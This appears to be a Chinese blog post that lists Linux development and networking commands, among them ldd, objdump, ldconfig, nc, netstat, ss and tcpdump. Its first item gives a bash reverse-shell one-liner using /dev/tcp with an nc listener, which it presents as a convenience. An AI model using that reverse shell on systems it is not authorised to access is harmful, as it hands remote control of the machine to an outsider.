首页 > 系统相关 >Linux开发相关命令整理

Linux开发相关命令整理

时间:2024-01-22 19:58:45浏览次数:31  
标签:文件 显示 指定 命令 ldconfig 过滤 Linux 整理 数据包

1. 反转shell

img

攻击者主机执行:nc -nlvp <port>

被攻击者执行:bash -i >& /dev/tcp/<ip>/<port> 0>&1

也可以用于把局域网下主机终端暴露给公网下,这在特定场景下比较方便

2. ldd

用于查看可执行文件或共享库文件所依赖的动态链接库的工具。

img

3. objdump

用于反汇编可执行文件、目标文件和共享库文件的工具。使用 objdump 命令可以对二进制文件进行静态分析,以查看其包含的指令集、符号表、节(section)和其他调试信息。

基本语法

objdump <options> <file>

一些常用的 objdump 选项:

-d:反汇编代码段,显示二进制文件的指令集。
-t:显示符号表,包括全局符号和局部符号。
-h:显示节(section)表,包括各个节的名称、地址和大小等信息。
-x:显示附加信息,如文件头和段头的详细信息。
-S:在反汇编代码中同时显示源代码。

4. ldconfig

用于更新系统动态链接器的缓存。在 Linux 系统中,动态链接器负责在程序运行时将可执行文件或共享库文件与其所依赖的动态链接库进行链接。ldconfig 命令用于更新系统中已安装的动态链接库的缓存,以便动态链接器能够正确找到和加载这些库。当你安装新的共享库文件或将共享库文件移动到不同的位置时,你可能需要运行 ldconfig 命令来更新系统的动态链接器缓存。这样做可以确保动态链接器能够正确地找到并加载这些库文件。

运行sudo ldconfig命令来执行 ldconfig,执行命令后,ldconfig 将扫描默认的共享库路径(通常是 /lib 和 /usr/lib)以及其他配置的路径,并更新动态链接器的缓存。这样,动态链接器在运行程序时就能正确地解析和加载所需的共享库文件。

需要注意的是,在大多数情况下,你不需要手动运行 ldconfig。通常,当你使用包管理器安装或卸载共享库文件时,包管理器会自动执行 ldconfig 来更新缓存。只有在特定情况下,例如手动安装共享库文件或手动移动共享库文件时,才需要手动运行 ldconfig。

总而言之,ldconfig 是一个用于更新系统动态链接器缓存的命令。它可以确保动态链接器能够正确找到和加载共享库文件。

5. telnet

用于在命令行界面中访问远程主机的命令行工具。使用 telnet 命令telnet <host> <port>,你可以指定远程主机的地址和端口,并建立与该主机的 Telnet 连接。由于 Telnet 是以明文方式传输数据,连接信息和数据在网络上是不加密的。因此,Telnet 不适合在不受信任的网络中使用,因为它可能会暴露敏感信息。

6. nc

nc(也称为 netcat)是一个网络工具,可以在命令行中创建 TCP 或 UDP 连接,进行网络通信。它提供了一个简单而强大的界面,可以用于发送和接收数据,执行端口扫描,以及在不同主机之间传输文件。
以下是一些常用的 nc 选项:

  • -l:在监听模式下运行 nc,等待传入连接。
  • -p :指定本地端口号。
  • -u:使用 UDP 协议进行连接。
  • -v:显示详细的调试信息。
  • -n:禁用主机名解析。

7. netstat

显示和管理网络连接、网络接口以及网络协议统计信息。
以下是一些常用的 netstat 选项:

  • -a:显示所有连接和监听端口。
  • -t:显示 TCP 连接信息。
  • -u:显示 UDP 连接信息。
  • -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
  • -p:显示与连接关联的程序或进程 ID。
  • -r:显示路由表信息。
  • -s:显示与各个协议相关的统计信息。

8. ss

用于显示和管理套接字(sockets)的相关信息,包括网络连接、监听端口、路由表和其他网络统计信息。它是 netstat 命令的替代品。

以下是一些常用的 ss 选项:

  • -a:显示所有连接和监听端口。
  • -t:显示 TCP 连接信息。
  • -u:显示 UDP 连接信息。
  • -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
  • -p:显示与连接关联的程序或进程 ID。
  • -r:显示路由表信息。
  • -s:显示与各个协议相关的统计信息。
  • -l:仅显示监听状态的套接字。

9. tcpdump

命令行网络抓包工具,用于捕获和分析网络数据包。它可以在实时中捕获数据包,并提供灵活的过滤和显示选项,用于监视和分析网络流量。

tcpdump 命令的基本语法如下:

tcpdump [options] [expression]

以下是一些常用的 tcpdump 选项:

  • -i :指定要抓包的网络接口。
  • -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
  • -c :仅抓取指定数量的数据包后停止。
  • -s :设置要捕获的数据包的最大长度。
  • -w :将抓取的数据包写入指定的文件中,而不进行实时显示。
  • -r :从指定文件中读取数据包,而不进行实时抓包。

除了选项,你还可以使用表达式来过滤要抓取的数据包。表达式可以基于源地址、目标地址、端口号、协议类型等进行过滤。

以下是一些常用的表达式示例:

  • host :过滤特定主机的数据包,可以是 IP 地址或主机名。
  • src :过滤源地址为指定主机的数据包。
  • dst :过滤目标地址为指定主机的数据包。
  • port :过滤指定端口号的数据包。
  • src port :过滤源端口号为指定端口的数据包。
  • dst port :过滤目标端口号为指定端口的数据包。
  • tcp:过滤 TCP 协议的数据包。
  • udp:过滤 UDP 协议的数据包。
  • icmp:过滤 ICMP 协议的数据包。
  • ether
    :过滤以太网地址(MAC 地址)为指定地址的数据包。
  • net :过滤特定网络的数据包,可以是 IP 网络地址。
  • src net :过滤源地址属于指定网络的数据包。
  • dst net :过滤目标地址属于指定网络的数据包。
  • greater :过滤数据包长度大于指定值的数据包。
  • less :过滤数据包长度小于指定值的数据包。

这些表达式可以单独使用,也可以组合使用以创建更复杂的过滤条件。

例如,要在名为 eth0 的网络接口上捕获所有 TCP 协议的数据包,并以实时方式显示它们的内容,可以运行以下命令:

tcpdump -i eth0 tcp

标签:文件,显示,指定,命令,ldconfig,过滤,Linux,整理,数据包
From: https://www.cnblogs.com/ericling0529/p/17980831

相关文章

  • centos 查看 PCIE 接口 PCI-E Linux下查看PCIe版本及速率
    centos查看PCIE接口lspci|grep-ipcie#lspci|grep-ipcie01:00.0Ethernetcontroller:BroadcomInc.andsubsidiariesNetXtremeBCM57202-portGigabitEthernetPCIe01:00.1Ethernetcontroller:BroadcomInc.andsubsidiariesNetXtremeBCM57202-portGig......
  • 在命令提示符下输入"certutil /?"来查看完整的命令参数列表和使用说明。
    在命令提示符下输入"certutil/?"来查看完整的命令参数列表和使用说明。-dump:转储配置信息或文件-dumpPFX:转储PFX结构-asn:解析ASN.1文件-decodehex:解码十六进制编码的文件-decode:解码Base64编码的文件-encode:将文件编码为Base64-deny:拒绝挂起的请求-resub......
  • 能用到退休的600条Linux命令,助你解决95%的问题
    你们好,我的网工朋友。曾经传统网工的工作中,很少用到Linux,但网络技术的更新,搞网络,多少得会点这玩意儿。正所谓书到用时方恨少,命令到用时全忘了,Linux命令真心多到爆炸。这不,今天就给你来一篇史上最全Linux命令总结的文章,命令有点多,一不小心整理了2w字,建议先收藏后阅读哈。今日文章阅......
  • windows本地免密登录linux
    环境:虚拟机CentOS7.5\本地Windows11准备:虚拟机已生成秘钥1、在windows本地生成密钥ssh-keygen-trsa密钥生成到 C:\Users\Administrator\.ssh2、上传公钥文件至虚拟机3、公钥追加至虚拟机.ssh/authorized_keys中 本地Windows免密登录虚拟机_windows终端免密登录......
  • RockyLinux8.8 本地镜像仓库搭建过程
    1.本地环境RockyLinux: RockyLinuxrelease8.8(GreenObsidian)python: 3.x.x公网镜像:rockylinux镜像_rockylinux下载地址_rockylinux安装教程-阿里巴巴开源镜像站(aliyun.com)2.说明Rockylinux是基于Redhat8在编译版本,在redhat8版本中相比较于redhat7中的本地镜......
  • 命令行窗口排列 https://share.weiyun.com/EykMqNix 密码:ydvrx5
    12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788......
  • 双网卡问题及route命令使用
    双网卡问题:IP路由依次查找:路由表IP段->默认路由1->默认路由2;如果路由表有目标IP段路由,则使用该路由;如果没有则使用默认路由;双网卡通常会自动有两个默认路由,这就可能导致网络问题;1,如果两张网卡设备都连接相同网络,这种情况不会有问题,两边网络一样使用那个默认路由都可以。2,通常情况......
  • 批处理命令set截取字符详解
    在批处理中,set的功能有点繁杂:设置变量、显示环境变量的名及值、做算术运算、等待用户的输入、字符串截取、替换字符串,是我们常用的命令之一。在字符串截取方面,新手因为没能注意到偏移量的问题,很容易提取到错误的字符串,因此,特开此帖,详细解释set截取字符的用法。......
  • Linux_6 thrift
    thrift实现匹配系统title:(在线学习平台)link:(https://www.acwing.com/)cover:(https://cdn.acwing.com/media/activity/surface/log.png)基本架构实现match_system的服务端定义接口通过.thrift文件定义接口定义完成后通过命令自动生成接口代码的框架#编写接口文......
  • Linux基础45 firewalld防火墙, 参数, 区域配置, 放行策略, 端口转发, 富规则, 防火墙
    firewalld防火墙一、防火墙安全概述在Centos7系统中继承了多款防火墙管理工具,默认启动的是firewalld(动态防火墙管理器)防火墙管理工具,Firewalld支持CLI(命令行)以及(图形)的两种管理方式。对于接触Linux较早的人员对Iptables比较熟悉,但由于Iptables的规则比较的麻烦,并且对网络有......